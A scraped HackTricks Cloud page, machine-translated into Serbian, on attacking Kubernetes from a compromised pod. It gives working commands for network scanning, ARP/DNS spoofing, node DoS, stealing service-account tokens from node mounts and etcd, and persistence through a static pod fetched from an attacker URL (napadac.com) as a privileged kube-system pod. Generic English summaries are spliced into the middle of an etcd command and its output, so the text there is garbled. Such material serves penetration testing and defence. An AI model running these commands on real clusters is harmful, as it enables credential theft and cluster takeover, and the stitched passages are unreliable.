Serbian - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Attacking Kubernetes from inside a Pod

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Izlazak iz Poda

Ako imate dovoljno sreće, možda ćete moći da pobegnete iz njega na čvor:

Bekstvo iz Poda

Da biste pokušali da pobegnete iz Podova, možda ćete prvo morati da dignete privilegije, neke tehnike za to su:

LogoLinux Privilege EscalationHackTricks

Možete proveriti ove docker bekauti da biste pokušali da pobegnete iz Poda koji ste kompromitovali:

LogoDocker Basics & BreakoutHackTricks

Zloupotreba Kubernetes Privilegija

Kao što je objašnjeno u delu o enumeraciji kubernetes-a:

Kubernetes Enumeration

Obično se Podovi pokreću sa tokenom servisnog naloga unutar njih. Ovaj servisni nalog može imati neke privilegije pridružene koje biste mogli zloupotrebiti da biste se pomerili ka drugim Podovima ili čak da pobegnete na čvorove konfigurisane unutar klastera. Pogledajte kako u:

Abusing Roles/ClusterRoles in Kubernetes

Zloupotreba Cloud Privilegija

Ako se Pod pokreće unutar oblak okruženja, možda ćete moći da procurite token sa metapodatkovnog endpointa i da dignete privilegije koristeći ga.

Pretraga ranjivih mrežnih servisa

Kako ste unutar Kubernetes okruženja, ako ne možete da dignete privilegije zloupotrebom trenutnih privilegija Podova i ne možete da pobegnete iz kontejnera, trebalo bi da pretražite potencijalno ranjive servise.

Servisi

Za tu svrhu, možete pokušati da dobijete sve servise Kubernetes okruženja:

kubectl get svc --all-namespaces

Podrazumevano, Kubernetes koristi ravnu mrežnu šemu, što znači da bilo koji pod/servis unutar klastera može komunicirati sa drugima. Prostori imena unutar klastera podrazumevano nemaju ograničenja mrežne sigurnosti. Bilo ko u prostoru imena može komunicirati sa drugim prostorima imena.

Skeniranje

Sledeći Bash skript (preuzet sa Kubernetes radionice) će instalirati i skenirati IP opsege kubernetes klastera:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Pogledajte sledeću stranicu da biste saznali kako biste mogli napasti specifične usluge Kubernetes-a da biste ugrozili druge podove/ceo okruženje:

Pentesting Kubernetes Services

Snifovanje

U slučaju da kompromitovani pod pokreće neku osetljivu uslugu gde drugi podovi treba da se autentifikuju, možda ćete moći da dobijete pristupnim podacima poslatim iz drugih podova snifovanjem lokalnih komunikacija.

Mrežno falsifikovanje

Podrazumevano, tehnike poput ARP falsifikovanja (i zahvaljujući tome DNS falsifikovanje) funkcionišu u Kubernetes mreži. Zatim, unutar poda, ako imate NET_RAW sposobnost (koja je podrazumevano dostupna), moći ćete da šaljete prilagođene mrežne pakete i izvodite MitM napade putem ARP falsifikovanja na sve podove koji se izvršavaju na istom čvoru. Osim toga, ako zlonamerni pod radi na istom čvoru kao DNS server, moći ćete izvesti DNS falsifikovanje napad na sve podove u klasteru.

Kubernetes Network Attacks

Node DoS

Ne postoji specifikacija resursa u manifestima Kubernetes-a i nisu primenjeni limiti opsega za kontejnere. Kao napadač, možemo iskoristiti sve resurse gde se pod/deployment izvršava i iscrpiti druge resurse i izazvati DoS za okruženje.

Ovo se može uraditi pomoću alata poput stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Možete primetiti razliku dok se izvršava stress-ng i nakon toga.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Post-eksploatacija čvora

Ako ste uspeli da pobegnete iz kontejnera, pronaći ćete neke zanimljive stvari u čvoru:

  • Proces Container Runtime (Docker)

  • Više pods/kontejnera koji se izvršavaju u čvoru koje možete zloupotrebiti poput ovog (više tokena)

  • Ceo fajl sistem i OS uopšteno

  • Servis Kube-Proxy koji osluškuje

  • Servis Kubelet koji osluškuje. Proverite konfiguracione fajlove:

    • Direktorijum: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • Ostali uobičajeni fajlovi za kubernetes:

    • $HOME/.kube/config - Korisnički konfig

    • /etc/kubernetes/kubelet.conf - Redovan konfig

    • /etc/kubernetes/bootstrap-kubelet.conf - Bootstrap konfig

    • /etc/kubernetes/manifests/etcd.yaml - etcd konfiguracija

    • /etc/kubernetes/pki - Ključevi za Kubernetes

Pronalaženje kubeconfig fajla čvora

Ako ne možete pronaći kubeconfig fajl u jednom od prethodno komentarisanih putanja, proverite argument --kubeconfig procesa kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Ukradi Tajne

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Skripta can-they.sh automatski će dobiti tokene drugih podova i proveriti da li imaju dozvolu koju tražite (umesto da sami gledate 1 po 1):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Privilegovani DaemonSet

DaemonSet je pod koji će se izvršavati na svim čvorovima klastera. Dakle, ako je DaemonSet konfigurisan sa privilegovanim servisnim nalogom, na SVIM čvorovima moći ćete pronaći token tog privilegovanog servisnog naloga koji biste mogli zloupotrebiti.

Eksploatacija je ista kao u prethodnom odeljku, ali sada ne zavisiš o sreći.

Pivoting ka Oblaku

Ako je klaster upravljan uslugom u oblaku, obično će čvor imati drugačiji pristup metapodacima nego Pod. Stoga, pokušajte pristupiti metapodacima sa čvora (ili iz poda sa hostNetwork na True):

Kubernetes Pivoting to Clouds

Ukradi etcd

Ako možete specificirati nodeName čvora koji će pokrenuti kontejner, dobijte shell unutar čvora kontrolne ravni i preuzmite etcd bazu podataka:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane čvorovi imaju ulogu master i u klasterima upravljanim u oblaku nećete moći pokrenuti ništa na njima.

Čitanje tajni iz etcd

Ako možete pokrenuti svoj pod na control-plane čvoru koristeći selektor nodeName u specifikaciji poda, možda ćete imati jednostavan pristup etcd bazi podataka, koja sadrži sve konfiguracije za klaster, uključujući sve tajne.

Ispod je brz i prljav način za dobijanje tajni iz etcd ako se pokreće na control-plane čvoru na kojem se nalazite. Ako želite elegantnije rešenje koje pokreće pod sa etcd klijentskim alatom etcdctl i koristi akreditive control-plane čvora za povezivanje sa etcd gde god se pokreće, pogledajte ovaj primer manifesta od @mauilion.

Proverite da li se etcd pokreće na control-plane čvoru i vidite gde se baza podataka nalazi (Ovo je na klasteru kreiranom pomoću kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a Kubernetes pod, they are already inside the cluster and can potentially access other pods and services. This section covers various techniques that an attacker can use to escalate privileges and move laterally within the cluster.

### Escalating Privileges

#### Accessing the Kubernetes API

If the pod has a service account token mounted, the attacker can use it to access the Kubernetes API and perform actions based on the permissions associated with that service account.

#### Exploiting Kubernetes RBAC

If the pod has excessive permissions assigned through Role-Based Access Control (RBAC), the attacker can abuse these permissions to perform unauthorized actions within the cluster.

### Moving Laterally

#### Pod Hopping

An attacker can move laterally by compromising one pod and then using it as a pivot to attack other pods within the cluster.

#### Service Account Compromise

If the attacker can compromise a service account token within a pod, they can use it to authenticate to other services within the cluster, potentially gaining access to sensitive information.

### Conclusion

By understanding these techniques, security professionals can better defend Kubernetes clusters against internal threats and unauthorized access.
data-dir=/var/lib/etcd

Pregledajte podatke u etcd bazi podataka:

strings /var/lib/etcd/member/snap/db | less

Izvadite tokene iz baze podataka i prikažite ime servisnog naloga

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Isti komanda, ali neki grepi da vrate samo podrazumevani token u kube-system namespace-u

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a Kubernetes pod, they are already inside the cluster and can potentially access other pods and services. This section explores various techniques that an attacker can use to escalate privileges and move laterally within the cluster.

### Privilege Escalation

#### Exploiting Misconfigured RBAC Roles

If the attacker finds a pod with overly permissive Role-Based Access Control (RBAC) roles assigned, they can abuse these privileges to access resources they shouldn't be able to.

#### Accessing the Kubernetes API Server

By accessing the Kubernetes API server from inside a pod, an attacker can potentially gain full control over the cluster. They can execute commands, create or delete resources, and perform other malicious activities.

### Lateral Movement

#### Port Forwarding

Using port forwarding, an attacker can access services running on other pods within the cluster. This can help them move laterally and pivot to other parts of the cluster.

#### Pod to Pod Communication

If the attacker compromises one pod, they can use it as a stepping stone to attack other pods within the cluster. This lateral movement can help them escalate privileges and access sensitive data.

### Conclusion

Securing Kubernetes clusters is crucial to prevent attackers from exploiting vulnerabilities and moving freely within the cluster. Regular security assessments and audits can help identify and mitigate these risks.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Statička/Mirrored Pods Persistencija

Statički Pods se upravljaju direktno od strane kubelet demona na određenom čvoru, bez posmatranja od strane API servera. Za razliku od Podova koji su upravljani od strane kontrolne ravni (na primer, Deployment); umesto toga, kubelet posmatra svaki statički Pod (i ponovo ga pokreće ako ne uspe).

Stoga, statički Podovi su uvek vezani za jedan Kubelet na određenom čvoru.

Kubelet automatski pokušava da kreira ogledni Pod na Kubernetes API serveru za svaki statički Pod. To znači da su Podovi koji se izvršavaju na čvoru vidljivi na API serveru, ali ih ne možete kontrolisati odatle. Imena Podova će biti sufiksirana sa imenom čvora sa vodećim crticom.

spec statičkog Pod-a ne može se odnositi na druge API objekte (npr. ServiceAccount, ConfigMap, Secret, itd. Dakle ne možete zloupotrebiti ovu ponašanje da pokrenete pod sa proizvoljnim serviceAccount-om na trenutnom čvoru kako biste ugrozili klaster. Ali možete koristiti ovo da pokrenete podove u različitim namespace-ovima (ako je to korisno iz nekog razloga).

Ako se nalazite unutar čvora, možete ga naterati da kreira statički pod unutar samog sebe. Ovo je prilično korisno jer vam može omogućiti da kreirate pod u drugom namespace-u poput kube-system.

Da biste kreirali statički pod, dokumentacija je od velike pomoći. Osnovno vam je potrebno 2 stvari:

  • Konfigurišite parametar --pod-manifest-path=/etc/kubernetes/manifests u kubelet servisu, ili u kubelet konfiguraciji (staticPodPath) i restartujte servis

  • Kreirajte definiciju na definiciji poda u /etc/kubernetes/manifests

Još jedan diskretniji način bi bio:

  • Modifikujte parametar staticPodURL iz kubelet konfiguracione datoteke i postavite nešto poput staticPodURL: http://napadac.com:8765/pod.yaml. Ovo će naterati kubelet proces da kreira statički pod dobijajući konfiguraciju sa naznačenog URL-a.

Primer konfiguracije poda za kreiranje privilegovanog poda u kube-system preuzet sa ovde:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Brisanje podova + čvorova koji nisu u mogućnosti da izvrše

Ako je napadač kompromitovao čvor i može brisati podove sa drugih čvorova i onemogućiti druge čvorove da izvrše podove, podovi će biti ponovo pokrenuti na kompromitovanom čvoru i on će moći ukrasti token koji se izvršava u njima. Za više informacija pratite ove linkove.

Automatski Alati

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

PreviousExposing Services in KubernetesNextKubernetes Enumeration

Last updated